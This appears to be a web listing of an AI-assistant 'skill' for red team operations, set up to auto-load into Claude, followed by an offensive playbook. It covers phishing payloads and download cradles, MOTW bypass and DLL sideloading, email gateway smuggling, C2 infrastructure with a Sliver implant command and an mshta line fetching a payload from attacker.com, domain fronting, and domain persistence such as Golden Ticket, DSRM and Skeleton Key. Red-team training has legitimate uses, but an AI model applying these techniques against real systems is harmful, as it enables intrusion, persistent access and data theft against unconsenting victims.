How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →

Red Team Operations
When to Activate
- Simulating advanced persistent threat (APT) operations
- Testing detection and response capabilities
- Establishing persistent access and C2
- Evading EDR/AV/SIEM detection
- Privilege escalation on compromised hosts
- Data exfiltration planning
Initial Access
Phishing Payloads
# Office macro (VBA)
# - AutoOpen/Document_Open trigger
# - Download cradle: PowerShell IEX or certutil
# - Sandbox evasion: check domain join, user interaction delay
# HTA (HTML Application)
mshta http://attacker.com/payload.hta
# ISO/IMG mounting (bypass MOTW)
# Package LNK + DLL inside ISO → double-click mounts, LNK executes DLL
# OneNote (.one) with embedded scripts
# Drag-and-drop .bat/.hta behind fake "Double click to view" image
# DLL sideloading
# Find legitimate signed EXE that loads DLL from CWD
# Place malicious DLL alongside legitimate EXE in delivery package
Delivery Mechanisms
# Smuggling past email gateways:
# - Password-protected ZIP (password in email body)
# - HTML smuggling (JS constructs blob → downloads file)
# - QR code to attacker-controlled site
# - Legitimate file-sharing (OneDrive, Google Drive links)
Command & Control (C2)
Infrastructure Setup
# Sliver C2

> generate --mtls attacker.com --os windows --arch amd64 --format exe --save implant.exe

# Domain fronting / CDN hiding
# Use high-reputation domains (cloudfront, azure CDN)
# C2 traffic appears as legitimate HTTPS to CDN
# Redirectors
# socat TCP-LISTEN:443,fork TCP:c2-server:443
# Apache mod_rewrite rules to filter blue team probes
# Malleable C2 profiles (Cobalt Strike)
# Mimic legitimate traffic patterns (Slack, Teams, O365)
C2 Communication Patterns
# DNS over HTTPS (DoH) — blends with normal traffic
# Domain fronting — SNI vs Host header mismatch
# Named pipes — internal lateral movement without network traffic
# SMB beacons — blend with normal AD traffic
# Websockets — persistent connection through proxies
Persistence
Windows
# Registry Run keys

# WMI Event Subscription (fileless)
# __EventFilter + __EventConsumer + __FilterToConsumerBinding
# DLL Search Order Hijacking
# Place malicious DLL in application directory (loaded before System32)
# COM Object Hijacking
# Modify CLSID InprocServer32 to point to malicious DLL
# Golden Ticket (domain-level persistence)
# With krbtgt hash, generate tickets for any user indefinitely
# DSRM (Directory Services Restore Mode)
# Modify DSRM password → backdoor DC even if krbtgt rotated
# Skeleton Key (in-memory DC patch)

# Any user can now auth with password "mimikatz"

Privilege Escalation
